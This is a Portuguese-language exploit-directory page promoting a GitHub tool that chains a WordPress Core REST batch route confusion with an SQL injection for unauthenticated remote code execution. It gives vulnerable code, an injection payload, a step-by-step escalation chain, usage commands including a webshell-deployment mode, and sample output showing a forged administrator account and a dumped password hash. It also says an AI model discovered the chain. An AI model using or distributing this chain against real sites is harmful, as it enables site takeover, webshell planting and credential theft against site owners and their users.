Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-63030 — WordPress Core RCE pré-autenticação via confusão de rota de lote REST + SQLi (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Ferramentas/GitHubGitHub/shinthink/cve-2026-63030
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubshinthink/cve-2026-63030

CVE-2026-63030

WordPress Core RCE pré-autenticação via confusão de rota de lote REST + SQLi (CVE-2026-63030 + CVE-2026-60137)

Ver Repositório
há 27 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

RCE pré-autenticação no WordPress Core via confusão de rota em lote REST + SQLi


Visão Geral

CVE-2026-63030 (CVSS 9.8) e CVE-2026-60137 (CVSS 9.1) formam uma cadeia crítica de execução remota de código sem autenticação prévia no WordPress Core. As vulnerabilidades afetam todas as instalações padrão do WordPress nas versões 6.9.0–6.9.4 e 7.0.0–7.0.1.

A cadeia foi descoberta de forma autônoma pelo GPT-5.6 Sol Ultra (OpenAI) em pouco mais de 10 horas a um custo de ~US$ 25 — uma classe de vulnerabilidade avaliada em US$ 500.000 nos mercados de corretores de exploits.

Um atacante não autenticado obtém RCE ao:

  1. Confusão de rota em lote REST (CVE-2026-63030) — dessincroniza os arrays internos do WordPress que associam handlers a requisições
  2. Injeção de SQL via author__not_in (CVE-2026-60137) — contorna a sanitização de absint() com uma string escalar
  3. Envenenamento de cache via UNION SELECT — forja 7 objetos falsos WP_Post na memória
  4. Persistência via oEmbed — converte SQLi somente leitura em gravações reais no banco de dados
  5. Sequestro de customize_changeset — empresta temporariamente a identidade de administrador
  6. Reentrada no hook parse_request — reproduz a API REST com privilégios elevados
  7. POST /wp/v2/users como admin — cria uma nova conta de administrador

Instalações ativas: 472+ milhões (43% de todos os sites)
Descoberto por: GPT-5.6 Sol Ultra via Adam Kues (Searchlight Cyber), julho de 2026
PoC da cadeia: Mustafa Can İPEKÇİ (nukedx)
Correção: WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 de julho de 2026)

Versões Afetadas

VersãoVulnerávelCorrigida
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xSomente SQLi (CVE-2026-60137)6.8.6

Mecanismo da Vulnerabilidade

Causa Raiz 1: Confusão de Rota em Lote (CVE-2026-63030)

O processador de lote REST do WordPress (serve_batch_request_v1) mantém dois arrays: $validation[] (resultados de validação) e $matches[] (handlers de rota). Quando wp_parse_url() falha em um caminho malformado (///), um WP_Error é empurrado para a cadeia de validação, mas não para a cadeia de correspondência de rotas:

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — desync by one index
}

O exploit usa chamadas de lote aninhadas (recursivas) para contornar tanto as restrições de método quanto a sanitização de parâmetros.

Causa Raiz 2: Injeção de SQL via author__not_in (CVE-2026-60137)

O WP_Query só aplica a sanitização de absint() dentro do ramo is_array(). Quando author__not_in chega como uma string escalar, a sanitização é completamente ignorada:

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
}

Payload: 0) UNION ALL SELECT ...-- - fecha a lista NOT IN e anexa SQL arbitrário.

Cadeia de Escalação

root@kitploit:~
[1] Dessincronização do lote → contorna autenticação + verificações de parâmetros
[2] UNION SELECT → forja 7 objetos falsos WP_Post no cache
    ├─ Post gatilho    — shortcode [embed]
    ├─ Post changeset  — post_type=customize_changeset, post_status=future
    ├─ Parceiro externo — post_parent=changeset (Loop 1)
    ├─ Alvo oEmbed     — suporte do cache
    ├─ Item de menu    — post_type=nav_menu_item
    ├─ Post de requisição — post_type=request, post_status=parse (Loop 2)
    └─ Parceiro interno — post_parent=request
[3] Processamento oEmbed → wp_update_post() → detecção de ciclo de hierarquia
[4] Correção do Loop 1 → grava changeset no banco sem sobrescrever post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Correção do Loop 2 → grava post de requisição → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → lote reproduzido como ADMIN
[8] POST /wp/v2/users → administrador criado

Pré-requisitos para RCE Completa


Instalação

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # or: nothing — stdlib only

Uso

root@kitploit:~
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com

# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check

# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id

# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users

Saída

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Arquivos

ArquivoFinalidade
cve_2026_63030.pyExploit de alvo único (zero dependências)
requirements.txtDependências Python (nenhuma necessária)

Referências

  • SLCyber — Artigo sobre a descoberta pelo GPT-5.6 Sol
  • WordPress.org — Lançamento de segurança
  • Wiz — Exploração ativa na natureza
  • Tenable — FAQ

Aviso de Responsabilidade

Apenas para testes de segurança autorizados e pesquisa educacional. Os autores não assumem responsabilidade pelo uso indevido.

Baixar ferramenta
RequisitoPor quê?Padrão?
Pelo menos 1 post publicadoAlimenta o cache oEmbed com URLs de loopback✅ "Hello World"
Sem cache de objetos persistenteAs linhas UNION não podem ser descartadas por split_the_query✅ Cache de arquivos
API REST acessívelA reentrada via parse_request precisa do servidor REST✅
Gravação direta no sistema de arquivosUpload de plugins exige FS_METHOD=direct✅ Na maioria dos hosts